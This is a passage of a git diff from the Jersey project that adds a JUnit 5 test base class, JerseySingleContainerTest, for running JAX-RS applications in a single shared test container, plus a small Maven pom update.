+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.net.URI;
+import java.security.AccessController;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.IdentityHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Properties;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.logging.Handler;
+import java.util.logging.Level;
+import java.util.logging.LogManager;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
+
+/**
+ * Parent class for testing JAX-RS and Jersey-based applications using Jersey test framework.
+ * <p>
+ * At construction this class will obtain a {@link TestContainerFactory
+ * test container factory} implementation.
+ * </p>
+ * <p>
+ * Before each test method in an extending class is run the test container factory is used to obtain
+ * a configured {@link TestContainer test container}.
+ * Then the {@link TestContainer#start()} method is invoked on the configured test container. After each test method
+ * has run, the {@link TestContainer#stop()} method is invoked on the test container. Stopped test container
+ * generally shouldn't be again started for another test, rather a new test container should be created.
+ * Every test method in the {@code JerseyTest} subclass can invoke the {@link #client()} to obtain a JAX-RS
+ * {@link Client}, from which {@link WebTarget} instances can be created
+ * to send arbitrary requests.
+ * Also, one of the {@code target} methods ({@link #target()} or {@link #target(String)}) may be invoked to obtain
+ * a JAX-RS {@link WebTarget} instances from which requests can be sent to and responses
+ * received from the Web application under test.
+ * </p>
+ * <p>
+ * If a test container factory is not explicitly declared using the appropriate constructor
+ * (see {@link #JerseySingleContainerTest(TestContainerFactory)}) or by overriding the {@link #getTestContainerFactory()} method,
+ * then a default test container factory will be obtained as follows:
+ * <ol>
+ * <li>
+ * If a system property <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> is set
+ * and the value is a fully qualified class name of a class that extends from {@code TestContainerFactory}
+ * then the test container factory used by default will be an instance of that class.
+ * A {@link TestContainerException} will be thrown if the class cannot be loaded or instantiated.
+ * </li>
+ * <li>
+ * Otherwise, {@code META-INF/services} locations on the class path will be scanned for implementation providers
+ * of {@code TestContainerFactory} SPI. If a single implementation is found, it will be used. If multiple implementations
+ * are found, the default <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> implementation
+ * will be selected if present, otherwise the first found implementation will be selected and a warning message will be logged.
+ * </li>
+ * <li>
+ * If no {@code TestContainerFactory} has been selected in the steps above, Jersey test framework will try to
+ * instantiate the default test container factory implementation (
+ * <tt>{@value TestProperties#DEFAULT_CONTAINER_FACTORY}</tt>) directly.
+ * A {@link TestContainerException} will be thrown if this class cannot be loaded or instantiated.
+ * </li>
+ * </ol>
+ * </p>
+ * <p>
+ * The test container is configured by a {@link DeploymentContext} that is either provided
+ * by  subclass or automatically created by {@code JerseyTest} based on the provided JAX-RS / Jersey {@code Application}
+ * class or instance to be tested. A {@link TestContainerException} will be thrown if the configured test container
+ * factory cannot support the deployment context type.
+ * Two deployment context are provided:
+ * <ol>
+ * <li>A basic deployment context, of type {@link DeploymentContext}, compatible with all test containers that are not
+ * based on Servlet deployment model.</li>
+ * <li>A Servlet-based deployment context, of type {@link ServletDeploymentContext}, compatible with Servlet-based test
+ * containers.</li>
+ * </ol>
+ * </p>
+ *
+ * @author Paul Sandoz
+ * @author Srinivas Bhimisetty
+ * @author Pavel Bucek
+ * @author Michal Gajdos
+ * @author Marek Potociar
+ */
+@Beta
+public abstract class JerseySingleContainerTest {
+
+    private static final ThreadLocal<JerseySingleContainerTest> INSTANCE = new ThreadLocal<>();
+
+    private static final Logger LOGGER = Logger.getLogger(JerseySingleContainerTest.class.getName());
+
+    /**
+     * Holds the test container factory class to be used for running the tests by default
+     * (if testContainerFactory has not been set).
+     * This static field is initialized in {@link #getDefaultTestContainerFactory()} method
+     * and is reused by any instances of {@code JerseyTest} that are subsequently run.
+     * This is done to optimize the number of TestContainerFactory service provider look-ups
+     * and class loading.
+     */
+    private static Class<? extends TestContainerFactory> defaultTestContainerFactoryClass;
+
+    /**
+     * Configured deployment context for the tested application.
+     */
+    private final DeploymentContext context;
+
+    /**
+     * The test container factory which creates an instance of the test container
+     * on which the tests would be run.
+     */
+    private TestContainerFactory testContainerFactory;
+
+    /**
+     * The test container on which the tests would be run.
+     */
+    private TestContainer testContainer;
+
+    private final AtomicReference<Client> client = new AtomicReference<>(null);
+
+    /**
+     * JerseyTest property bag that can be used to configure the test behavior.
+     * These properties can be overridden with a system property.
+     */
+    private final Map<String, String> propertyMap = new HashMap<>();
+
+    /**
+     * JerseyTest forced property bag that can be used to configure the test behavior.
+     * These property cannot be overridden with a system property.
+     */
+    private final Map<String, String> forcedPropertyMap = new HashMap<>();
+
+    private JerseyTestLogHandler logHandler;
+    private final Map<Logger, Level> logLevelMap = new IdentityHashMap<>();
+    private final AtomicInteger activeThreadCount = new AtomicInteger(0);
+
+    /**
+     * Initialize JerseyTest instance.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods to provide the tested application
+     * configuration and deployment context.
+     * </p>
+     */
+    public JerseySingleContainerTest() {
+        // Note: this must be the first call in the constructor to allow setting config
+        // properties (especially around logging) in the configure() or configureDeployment()
+        // method overridden in subclass, otherwise the properties set in the subclass would
+        // not be set soon enough
+        this.context = configureDeployment();
+        this.testContainerFactory = getTestContainerFactory();
+    }
+
+    /**
+     * Initialize JerseyTest instance and specify the test container factory to be used by this test.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods to provide the tested application
+     * configuration and deployment context.
+     * </p>
+     *
+     * @param testContainerFactory the test container factory to use for testing.
+     */
+    public JerseySingleContainerTest(final TestContainerFactory testContainerFactory) {
+        // Note: this must be the first call in the constructor to allow setting config
+        // properties (especially around logging) in the configure() or configureDeployment()
+        // method overridden in subclass, otherwise the properties set in the subclass would
+        // not be set soon enough
+        this.context = configureDeployment();
+        this.testContainerFactory = testContainerFactory;
+    }
+
+    /**
+     * Initialize JerseyTest instance.
+     * <p>
+     * This constructor can be used from an extending subclass.
+     * <p>
+     * When this constructor is used, the extending concrete subclass must implement one of the
+     * {@link #configure()} or {@link #configureDeployment()} methods are ignored.
+     * </p>
+     * <p>
+     * Please note that when this constructor is used, recording of startup logs as well as configuring
+     * other {@code JerseyTest} properties and features may not work properly. While using this constructor
+     * should generally be avoided, in certain scenarios it may be necessary to use this constructor.
+     * (E.g. when running parameterized tests in which application is created based on test parameters
+     * passed in by JUnit framework via test constructor - in such case it is not possible to propagate
+     * the necessary information to one of the overridden {@code JerseyTest.configure...} methods).
+     * </p>
+     *
+     * @param jaxrsApplication tested application.
+     */
+    public JerseySingleContainerTest(final Application jaxrsApplication) {
+        this.context = DeploymentContext.newInstance(jaxrsApplication);
+        this.testContainerFactory = getTestContainerFactory();
+    }
+
+    /**
+     * Return currently used test container to run the tests in. This method can be overridden.
+     *
+     * @return a test container instance or {@code null} if the container is not set.
+     */
+    /* package */ TestContainer getTestContainer() {
+        return testContainer;
+    }
+
+    /**
+     * Returns old test container used to run the tests in and set a new one. This method can be overridden.
+     *
+     * @param testContainer a test container instance or {@code null} it the current test container should be released.
+     * @return old test container instance.
+     */
+    /* package */ TestContainer setTestContainer(final TestContainer testContainer) {
+        final TestContainer old = this.testContainer;
+        this.testContainer = testContainer;
+        return old;
+    }
+
+    private TestContainer createTestContainer(final DeploymentContext context) {
+        return getTestContainerFactory().create(getBaseUri(), context);
+    }
+
+    /**
+     * Programmatically enable a feature with a given name.
+     * Enabling of the feature may be overridden via a system property.
+     *
+     * @param featureName name of the enabled feature.
+     */
+    protected final void enable(final String featureName) {
+        // TODO: perhaps we could reuse the resource config for the test properties?
+        propertyMap.put(featureName, Boolean.TRUE.toString());
+    }
+
+    /**
+     * Programmatically disable a feature with a given name.
+     * Disabling of the feature may be overridden via a system property.
+     *
+     * @param featureName name of the disabled feature.
+     */
+    protected final void disable(final String featureName) {
+        propertyMap.put(featureName, Boolean.FALSE.toString());
+    }
+
+    /**
+     * Programmatically force-enable a feature with a given name.
+     * Force-enabling of the feature cannot be overridden via a system property.
+     * Use with care!
+     *
+     * @param featureName name of the force-enabled feature.
+     */
+    protected final void forceEnable(final String featureName) {
+        forcedPropertyMap.put(featureName, Boolean.TRUE.toString());
+    }
+
+    /**
+     * Programmatically force-disable a feature with a given name.
+     * Force-disabling of the feature cannot be overridden via a system property.
+     * Use with care!
+     *
+     * @param featureName name of the force-disabled feature.
+     */
+    protected final void forceDisable(final String featureName) {
+        forcedPropertyMap.put(featureName, Boolean.FALSE.toString());
+    }
+
+    /**
+     * Programmatically set a value of a property with a given name.
+     * The property value may be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void set(final String propertyName, final Object value) {
+        set(propertyName, value.toString());
+    }
+
+    /**
+     * Programmatically set a value of a property with a given name.
+     * The property value may be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void set(final String propertyName, final String value) {
+        propertyMap.put(propertyName, value);
+    }
+
+    /**
+     * Programmatically force-set a value of a property with a given name.
+     * The force-set property value cannot be overridden via a system property.
+     *
+     * @param propertyName name of the property.
+     * @param value        property value.
+     */
+    protected final void forceSet(final String propertyName, final String value) {
+        forcedPropertyMap.put(propertyName, value);
+    }
+
+    /**
+     * Check if the Jersey test boolean property (flag) has been set to {@code true}.
+     *
+     * @param propertyName name of the Jersey test boolean property.
+     * @return {@code true} if the test property has been enabled, {@code false} otherwise.
+     */
+    protected final boolean isEnabled(final String propertyName) {
+        return Boolean.valueOf(getProperty(propertyName));
+    }
+
+    private String getProperty(final String propertyName) {
+        if (forcedPropertyMap.containsKey(propertyName)) {
+            return forcedPropertyMap.get(propertyName);
+        }
+
+        final Properties systemProperties = AccessController.doPrivileged(PropertiesHelper.getSystemProperties());
+        if (systemProperties.containsKey(propertyName)) {
+            return systemProperties.getProperty(propertyName);
+        }
+
+        if (propertyMap.containsKey(propertyName)) {
+            return propertyMap.get(propertyName);
+        }
+
+        return null;
+    }
+
+    private static String getSystemProperty(final String propertyName) {
+        final Properties systemProperties = AccessController.doPrivileged(PropertiesHelper.getSystemProperties());
+        return systemProperties.getProperty(propertyName);
+    }
+
+    /**
+     * Create the tested JAX-RS /Jersey application.
+     * <p>
+     * This method may be overridden by subclasses to provide the configured JAX-RS /Jersey application to be tested.
+     * The method may be also used to configure {@code JerseyTest} instance properties.
+     * <p>
+     * Unless {@link #configureDeployment()} method is overridden in the subclass, the {@code configure()} method is invoked
+     * by {@code configureDeployment()} to create default deployment context for the tested application. As such, the method
+     * is invoked in the scope of one of the {@code JerseyTest} constructors.
+     * Default implementation of this method throws {@link UnsupportedOperationException}, so that construction of
+     * {@code JerseyTest} instance fails unless one of the {@code configure()} or {@code configureDeployment()} methods is
+     * overridden in the subclass.
+     * </p>
+     * <p>
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     * <p>
+     * Also note that in case the {@link #JerseySingleContainerTest(Application)} constructor is used, the method is never
+     * invoked.
+     * </p>
+     *
+     * @return tested JAX-RS /Jersey application.
+     */
+    protected Application configure() {
+        throw new UnsupportedOperationException("The configure method must be implemented by the extending class");
+    }
+
+    /**
+     * Create and configure deployment context for the tested application.
+     * <p>
+     * This method may be overridden by subclasses to provide custom test container deployment context for the tested
+     * application. The method may be also used to configure {@code JerseyTest} instance properties.
+     * <p>
+     * The method is invoked from {@code JerseyTest} constructors to provide deployment context for the tested application.
+     * Default implementation of this method creates
+     * {@link DeploymentContext#newInstance(Application) new deployment context}
+     * using JAX-RS application instance obtained by calling the {@link #configure()} method.
+     * </p>
+     * <p>
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     * <p>
+     * Also note that in case the {@link #JerseySingleContainerTest(Application)} constructor is used, the method is never
+     * invoked.
+     * </p>
+     *
+     * @return configured deployment context for the tested application.
+     * @since 2.8
+     */
+    protected DeploymentContext configureDeployment() {
+        DeploymentContext.Builder contextBuilder = DeploymentContext.builder(configure());
+        if (getSslContext().isPresent() && getSslParameters().isPresent()) {
+            contextBuilder.ssl(getSslContext().get(), getSslParameters().get());
+        }
+        return contextBuilder.build();
+    }
+
+    /**
+     * Return an instance of {@link TestContainerFactory} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the factory responsible
+     * for providing {@link TestContainer} that will be used to deploy the tested application.
+     * </p>
+     * <p>
+     * A default implementation first searches for the {@code TestContainerFactory} set via
+     * {@link #JerseySingleContainerTest(TestContainerFactory) constructor}, then it looks for a
+     * {@code TestContainerFactory} implementation class name set via
+     * <tt>{@value TestProperties#CONTAINER_FACTORY}</tt> system property with a fallback to
+     * searching for {@code TestContainerFactory} service providers on the class path. At last, if no
+     * {@code TestContainerFactory} has been found, the method attempts to create new default
+     * {@code TestContainerFactory} implementation instance
+     * (<tt>{@value TestProperties#DEFAULT_CONTAINER_FACTORY}</tt>).
+     * </p>
+     * <p>
+     * Alternatively, this method may be overridden to directly provide a custom {@code TestContainerFactory} instance.
+     * Note that since the method is invoked from {@code JerseyTest} constructor, the overriding implementation of the method
+     * must not depend on any subclass fields as those will not be initialized yet when the method is invoked.
+     * </p>
+     *
+     * @return an instance of {@link TestContainerFactory} class.
+     * @throws TestContainerException if the initialization of {@link TestContainerFactory} instance is not successful.
+     */
+    protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
+        if (testContainerFactory == null) {
+            testContainerFactory = getDefaultTestContainerFactory();
+        }
+        return testContainerFactory;
+    }
+
+    /**
+     * Return an optional instance of {@link SSLContext} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the ssl configuration.
+     * By default the ssl configuration is absent, to enable it please override this method and {@link JerseySingleContainerTest#getSslParameters()}
+     * </p>
+     * </p>
+     * @return an optional instance of {@link SSLContext} class.
+     */
+    protected Optional<SSLContext> getSslContext() {
+        return Optional.empty();
+    }
+
+    /**
+     * Return an optional instance of {@link SSLParameters} class.
+     * <p>
+     * <p>
+     * This method is used only once during {@code JerseyTest} instance construction to retrieve the ssl configuration.
+     * By default the ssl configuration is absent, to enable it please override this method and {@link JerseySingleContainerTest#getSslContext()} ()}
+     * </p>
+     * </p>
+     * @return an optional instance of {@link SSLContext} class.
+     */
+    protected Optional<SSLParameters> getSslParameters() {
+        return Optional.empty();
+    }
+
+    private static synchronized TestContainerFactory getDefaultTestContainerFactory() {
+
+        if (defaultTestContainerFactoryClass == null) {
+            final String factoryClassName = getSystemProperty(TestProperties.CONTAINER_FACTORY);
+            if (factoryClassName != null) {
+                LOGGER.log(Level.CONFIG,
+                        "Loading test container factory '{0}' specified in the '{1}' system property.",
+                        new Object[] {factoryClassName, TestProperties.CONTAINER_FACTORY});
+
+                defaultTestContainerFactoryClass = loadFactoryClass(factoryClassName);
+            } else {
+                final TestContainerFactory[] factories = ServiceFinder.find(TestContainerFactory.class).toArray();
+                if (factories.length > 0) {
+                    // if there is only one factory instance, just return it
+                    if (factories.length == 1) {
+                        // cache the class for future reuse
+                        defaultTestContainerFactoryClass = factories[0].getClass();
+                        LOGGER.log(
+                                Level.CONFIG,
+                                "Using the single found TestContainerFactory service provider '{0}'",
+                                defaultTestContainerFactoryClass.getName());
+                        return factories[0];
+                    }
+
+                    // if default factory is present, use it.
+                    for (final TestContainerFactory tcf : factories) {
+                        if (TestProperties.DEFAULT_CONTAINER_FACTORY.equals(tcf.getClass().getName())) {
+                            // cache the class for future reuse
+                            defaultTestContainerFactoryClass = tcf.getClass();
+                            LOGGER.log(
+                                    Level.CONFIG,
+                                    "Found multiple TestContainerFactory service providers, using the default found '{0}'",
+                                    TestProperties.DEFAULT_CONTAINER_FACTORY);
+                            return tcf;
+                        }
+                    }
+
+                    // default factory is not in the list - log warning and return the first found factory instance
+                    // cache the class for future reuse
+                    defaultTestContainerFactoryClass = factories[0].getClass();
+                    LOGGER.log(
+                            Level.WARNING,
+                            "Found multiple TestContainerFactory service providers, using the first found '{0}'",
+                            defaultTestContainerFactoryClass.getName());
+                    return factories[0];
+                }
+
+                LOGGER.log(
+                        Level.CONFIG,
+                        "No TestContainerFactory configured, trying to load and instantiate the default implementation '{0}'",
+                        TestProperties.DEFAULT_CONTAINER_FACTORY);
+                defaultTestContainerFactoryClass = loadFactoryClass(TestProperties.DEFAULT_CONTAINER_FACTORY);
+            }
+        }
+
+        try {
+            return defaultTestContainerFactoryClass.newInstance();
+        } catch (final Exception ex) {
+            throw new TestContainerException(String.format(
+                    "Could not instantiate test container factory '%s'", defaultTestContainerFactoryClass.getName()), ex);
+        }
+    }
+
+    private static Class<? extends TestContainerFactory> loadFactoryClass(final String factoryClassName) {
+        Class<? extends TestContainerFactory> factoryClass;
+        final Class<Object> loadedClass = AccessController.doPrivileged(ReflectionHelper.classForNamePA(factoryClassName, null));
+        if (loadedClass == null) {
+            throw new TestContainerException(String.format(
+                    "Test container factory class '%s' cannot be loaded", factoryClassName));
+        }
+        try {
+            return loadedClass.asSubclass(TestContainerFactory.class);
+        } catch (final ClassCastException ex) {
+            throw new TestContainerException(String.format(
+                    "Class '%s' does not implement TestContainerFactory SPI.", factoryClassName), ex);
+        }
+    }
+
+    /**
+     * Create a JAX-RS web target whose URI refers to the {@link #getBaseUri() base URI} the tested
+     * JAX-RS / Jersey application is deployed at, plus the path specified in the {@code path} argument.
+     * <p>
+     * This method is an equivalent of calling <tt>client().target(getBaseUri())</tt>.
+     * </p>
+     *
+     * @return the created JAX-RS web target.
+     */
+    public final WebTarget target() {
+        return client().target(getTestContainer().getBaseUri());
+    }
+
+    /**
+     * Create a JAX-RS web target whose URI refers to the {@link #getBaseUri() base URI} the tested
+     * JAX-RS / Jersey application is deployed at, plus the path specified in the {@code path} argument.
+     * <p>
+     * This method is an equivalent of calling {@code target().path(path)}.
+     * </p>
+     *
+     * @param path relative path (from tested application base URI) this web target should point to.
+     * @return the created JAX-RS web target.
+     */
+    public final WebTarget target(final String path) {
+        return target().path(path);
+    }
+
+    /**
+     * Get the JAX-RS test client that is {@link #configureClient(ClientConfig) pre-configured}
+     * for this test.
+     *
+     * @return the configured test client.
+     */
+    public final Client client() {
+        return getClient();
+    }
+
+    /**
+     * Set up the test by creating a test container instance, {@link TestContainer#start() starting} it and by creating a new
+     * {@link #configureClient(ClientConfig) pre-configured} test client.
+     * The test container is obtained from the {@link #getTestContainerFactory() test container factory}.
+     *
+     * @throws TestContainerException if the default test container factory cannot be obtained,
+     *                                or the test application deployment context is not supported
+     *                                by the test container factory.
+     * @throws Exception              if an exception is thrown during setting up the test environment.
+     */
+    @BeforeEach
+    public void setUp() throws Exception {
+        synchronized (this) {
+            if (INSTANCE.get() == null) {
+                registerLogHandlerIfEnabled();
+                final TestContainer testContainer = createTestContainer(context);
+
+                // Set current instance of test container and start it.
+                setTestContainer(testContainer);
+                testContainer.start();
+
+                // Create and set new client.
+                setClient(getClient(testContainer.getClientConfig()));
+                INSTANCE.set(this);
+            }
+        }
+    }
+
+    /**
+     * Tear down the test by {@link TestContainer#stop() stopping} the test container obtained from the
+     * {@link #getTestContainerFactory() test container factory} and by {@link Client#close() closing}
+     * and discarding the {@link #configureClient(ClientConfig) pre-configured} test client
+     * that was {@link #setUp() set up} for the test.
+     *
+     * @throws Exception if an exception is thrown during tearing down the test environment.
+     */
+    public void tearDown() throws Exception {
+        if (isLogRecordingEnabled()) {
+            unregisterLogHandler();
+        }
+
+        try {
+            TestContainer oldContainer = setTestContainer(null);
+            if (oldContainer != null) {
+                oldContainer.stop();
+            }
+        } finally {
+            closeIfNotNull(setClient(null));
+        }
+    }
+
+    @AfterAll
+    public static void tearDownAll() throws Exception {
+        INSTANCE.get().tearDown();
+    }
+
+    /**
+     * Get the JAX-RS test client that is {@link #configureClient(ClientConfig) pre-configured}
+     * for this test. This method can be overridden.
+     *
+     * @return the configured test client.
+     */
+    protected Client getClient() {
+        return client.get();
+    }
+
+    /**
+     * Get the old JAX-RS test client and set a new one. This method can be overridden.
+     *
+     * @param client the configured test client.
+     * @return old configured test client.
+     */
+    protected Client setClient(final Client client) {
+        return this.client.getAndSet(client);
+    }
+
+    /**
+     * Create an instance of test {@link Client} using the client configuration provided by the configured
+     * {@link TestContainer}.
+     * <p>
+     * If the {@code TestContainer} does not provide any client configuration (passed {@code clientConfig} is {@code null}),
+     * the default implementation of this method first creates an empty new {@link ClientConfig}
+     * instance. The client configuration (provided by test container or created) is then passed to
+     * {@link #configureClient(ClientConfig)} which can be overridden in the {@code JerseyTest}
+     * subclass to provide custom client configuration. At last, new JAX-RS {@link Client} instance is created based on the
+     * resulting client configuration.
+     * </p>
+     *
+     * @param clientConfig test client default configuration. May be {@code null}.
+     * @return A Client instance.
+     */
+    private Client getClient(ClientConfig clientConfig) {
+        if (clientConfig == null) {
+            clientConfig = new ClientConfig();
+        }
+
+        //check if logging is required
+        if (isEnabled(TestProperties.LOG_TRAFFIC)) {
+            clientConfig.register(new LoggingFeature(LOGGER, isEnabled(TestProperties.DUMP_ENTITY)
+                    ? LoggingFeature.Verbosity.PAYLOAD_ANY
+                    : LoggingFeature.Verbosity.HEADERS_ONLY));
+
+        }
+
+        configureClient(clientConfig);
+
+        return ClientBuilder.newClient(clientConfig);
+    }
+
+    /**
+     * Configure the test client.
+     * <p>
+     * The method can be overridden by {@code JerseyTest} subclasses to conveniently configure the test client instance
+     * used by Jersey test framework (either returned from {@link #client()} method or used to create
+     * {@link WebTarget} instances returned from one of the {@code target} methods
+     * ({@link #target()} or {@link #target(String)}).
+     * <p>
+     * Prior to every test method run, a new client instance is configured and created using the client configuration
+     * provided by the {@link TestContainer} as well as any internal {@code JerseyTest}
+     * client configuration settings.
+     * </p>
+     * <p>
+     * Before the actual client instance creation, Jersey test framework invokes this method in order to allow the subclasses
+     * to further customize created client instance.
+     * </p>
+     * <p>
+     * After each test method is run, the existing client instance is {@link Client#close() closed}
+     * and discarded.
+     * </p>
+     * <p>
+     * Default implementation of the method is "no-op".
+     * </p>
+     *
+     * @param config Jersey test client configuration that can be modified before the client is created.
+     */
+    protected void configureClient(final ClientConfig config) {
+        // do nothing
+    }
+
+    /**
+     * Returns the base URI of the tested application.
+     *
+     * @return the base URI of the tested application.
+     */
+    // TODO make final
+    protected URI getBaseUri() {
+        final TestContainer container = getTestContainer();
+
+        if (container != null) {
+            // called from outside of JerseyTest constructor
+            return container.getBaseUri();
+        }
+
+        // called from within JerseyTest constructor
+        return UriBuilder.fromUri("http://localhost/").port(getPort()).build();
+    }
+
+    /**
+     * Get the port to be used for test application deployments.
+     *
+     * @return The HTTP port of the URI
+     */
+    protected final int getPort() {
+        final TestContainer container = getTestContainer();
+
+        if (container != null) {
+            // called from outside of JerseyTest constructor
+            return container.getBaseUri().getPort();
+        }
+
+        // called from within JerseyTest constructor
+        final String value = getProperty(TestProperties.CONTAINER_PORT);
+        if (value != null) {
+
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value not positive.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of " + TestProperties.CONTAINER_PORT
+                                + " property is not a valid positive integer [" + value + "]."
+                                + " Reverting to default [" + TestProperties.DEFAULT_CONTAINER_PORT + "].",
+                        e
+                );
+            }
+        }
+        return TestProperties.DEFAULT_CONTAINER_PORT;
+    }
+
+    /**
+     * Get stored {@link LogRecord log records} if enabled by setting {@link TestProperties#RECORD_LOG_LEVEL} or an empty list.
+     *
+     * @return list of log records or an empty list.
+     */
+    protected final List<LogRecord> getLoggedRecords() {
+        return getLogHandler().getRecords();
+    }
+
+    /**
+     * Get last stored {@link LogRecord log record} if enabled by setting {@link TestProperties#RECORD_LOG_LEVEL}
+     * or {@code null}.
+     *
+     * @return last stored {@link LogRecord log record} or {@code null}.
+     */
+    protected final LogRecord getLastLoggedRecord() {
+        final List<LogRecord> loggedRecords = getLoggedRecords();
+        return loggedRecords.isEmpty() ? null : loggedRecords.get(loggedRecords.size() - 1);
+    }
+
+    /**
+     * Retrieves a list of root loggers.
+     *
+     * @return list of root loggers.
+     */
+    private Set<Logger> getRootLoggers() {
+        final LogManager logManager = LogManager.getLogManager();
+        final Enumeration<String> loggerNames = logManager.getLoggerNames();
+
+        final Set<Logger> rootLoggers = new HashSet<>();
+
+        while (loggerNames.hasMoreElements()) {
+            Logger logger = logManager.getLogger(loggerNames.nextElement());
+            if (logger != null) {
+                while (logger.getParent() != null) {
+                    logger = logger.getParent();
+                }
+                rootLoggers.add(logger);
+            }
+        }
+
+        return rootLoggers;
+    }
+
+    /**
+     * Register {@link Handler log handler} to the list of root loggers
+     * if log recording is enabled.
+     */
+    private void registerLogHandlerIfEnabled() {
+        if (isLogRecordingEnabled()) {
+            registerLogHandler();
+        }
+    }
+
+    /**
+     * Register {@link Handler log handler} to the list of root loggers.
+     */
+    private void registerLogHandler() {
+        final String recordLogLevel = getProperty(TestProperties.RECORD_LOG_LEVEL);
+        final int recordLogLevelInt = Integer.valueOf(recordLogLevel);
+        final Level level = Level.parse(recordLogLevel);
+
+        logLevelMap.clear();
+
+        for (final Logger root : getRootLoggers()) {
+            logLevelMap.put(root, root.getLevel());
+
+            if (root.getLevel().intValue() > recordLogLevelInt) {
+                root.setLevel(level);
+            }
+
+            root.addHandler(getLogHandler());
+        }
+    }
+
+    /**
+     * Un-register {@link Handler log handler} from the list of root loggers.
+     */
+    private void unregisterLogHandler() {
+        for (final Logger root : getRootLoggers()) {
+            root.setLevel(logLevelMap.get(root));
+            root.removeHandler(getLogHandler());
+        }
+        logHandler = null;
+    }
+
+    /**
+     * Return {@code true} if log recoding is enabled.
+     *
+     * @return {@code true} if log recoding is enabled, {@code false} otherwise.
+     */
+    private boolean isLogRecordingEnabled() {
+        return getProperty(TestProperties.RECORD_LOG_LEVEL) != null;
+    }
+
+    /**
+     * Retrieves {@link Handler log handler} capable of storing {@link LogRecord logged records}.
+     *
+     * @return log handler.
+     */
+    private JerseyTestLogHandler getLogHandler() {
+        if (logHandler == null) {
+            logHandler = new JerseyTestLogHandler();
+        }
+        return logHandler;
+    }
+
+    /**
+     * Returns {@link TestProperties#ASYNC_TIMEOUT_MULTIPLIER} or {@code 1} if the property is not defined.
+     *
+     * @return Multiplier of the async timeout for async test.
+     */
+    protected int getAsyncTimeoutMultiplier() {
+        final String property = getProperty(TestProperties.ASYNC_TIMEOUT_MULTIPLIER);
+        Integer multi = 1;
+        if (property != null) {
+            multi = Integer.valueOf(property);
+            if (multi <= 0) {
+                throw new NumberFormatException(
+                        "Property " + TestProperties.ASYNC_TIMEOUT_MULTIPLIER + " must be a number greater than 0.");
+            }
+        }
+        return multi;
+
+    }
+
+    /**
+     * Utility method that safely closes a response without throwing an exception.
+     *
+     * @param responses responses to close. Each response may be {@code null}.
+     * @since 2.5
+     */
+    public final void close(final Response... responses) {
+        if (responses == null || responses.length == 0) {
+            return;
+        }
+
+        for (final Response response : responses) {
+            if (response == null) {
+                continue;
+            }
+            try {
+                response.close();
+            } catch (final Throwable t) {
+                LOGGER.log(Level.WARNING, "Error closing a response.", t);
+            }
+        }
+    }
+
+    /**
+     * Utility method that safely closes a client instance without throwing an exception.
+     *
+     * @param clients client instances to close. Each instance may be {@code null}.
+     * @since 2.5
+     */
+    public static void closeIfNotNull(final Client... clients) {
+        if (clients == null || clients.length == 0) {
+            return;
+        }
+
+        for (final Client c : clients) {
+            if (c == null) {
+                continue;
+            }
+            try {
+                c.close();
+            } catch (final Throwable t) {
+                LOGGER.log(Level.WARNING, "Error closing a client instance.", t);
+            }
+
+        }
+    }
+
+    /**
+     * Custom logging handler used to store log records produces during an invocation of a test.
+     */
+    private class JerseyTestLogHandler extends Handler {
+
+        private final int logLevel;
+        private final List<LogRecord> records;
+
+        private JerseyTestLogHandler() {
+            this.logLevel = Integer.parseInt(getProperty(TestProperties.RECORD_LOG_LEVEL));
+            this.records = new ArrayList<>();
+        }
+
+        @Override
+        public void publish(final LogRecord record) {
+            final String loggerName = record.getLoggerName();
+
+            if (record.getLevel().intValue() >= logLevel
+                    && loggerName.startsWith("org.glassfish.jersey")
+                    && !loggerName.startsWith("org.glassfish.jersey.test")) {
+                records.add(record);
+            }
+        }
+
+        @Override
+        public void flush() {
+        }
+
+        @Override
+        public void close() throws SecurityException {
+        }
+
+        public List<LogRecord> getRecords() {
+            return records;
+        }
+    }
+}
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml
index 672ba6e..9cc0957 100644
--- a/test-framework/maven/container-runner-maven-plugin/pom.xml
+++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>container-runner-maven-plugin</artifactId>
@@ -242,6 +242,7 @@
                 <artifactId>maven-compiler-plugin</artifactId>
                 <configuration>
                     <compilerId>groovy-eclipse-compiler</compilerId>
+                    <release>11</release> <!-- Groovy works until version 15 right now-->
                 </configuration>
                 <dependencies>
                     <dependency>
